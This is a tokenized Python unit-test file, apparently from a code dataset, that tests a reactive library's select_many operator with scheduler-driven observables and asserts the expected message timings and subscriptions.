"observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "completed_", "(_", "500_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "lambda_", ":_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "\"", "qu", "x", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "1000_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "1000_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "1000_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "complete", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "completed_", "(_", "500_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "error_", "(_", "300_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "lambda_", ":_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "error_", "(_", "600_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "600_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "600_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "600_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "600_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "600_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "error", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "error_", "(_", "500_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "250_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "lambda_", ":_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "error_", "(_", "700_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "650_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "700_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "error", "\\u", "error_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "error_", "(_", "500_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "error_", "(_", "250_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "lambda_", ":_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "error_", "(_", "550_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "550_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "550_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "740", "_", ",_", "106_", ")_", ",_", "on", "\\u", "next_", "(_", "810", "_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "860", "_", ",_", "305_", ")_", ",_", "on", "\\u", "next_", "(_", "930", "_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "940", "_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "960", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "605", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "960", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "750_", ",_", "790", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "850", "_", ",_", "950", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "complete", "\\u", "inner", "\\u", "not", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "740", "_", ",_", "106_", ")_", ",_", "on", "\\u", "next_", "(_", "810", "_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "860", "_", ",_", "305_", ")_", ",_", "on", "\\u", "next_", "(_", "930", "_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "940", "_", ",_", "402", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "960", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "750_", ",_", "790", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "850", "_", ",_", "950", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "complete", "\\u", "outer", "\\u", "not", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", 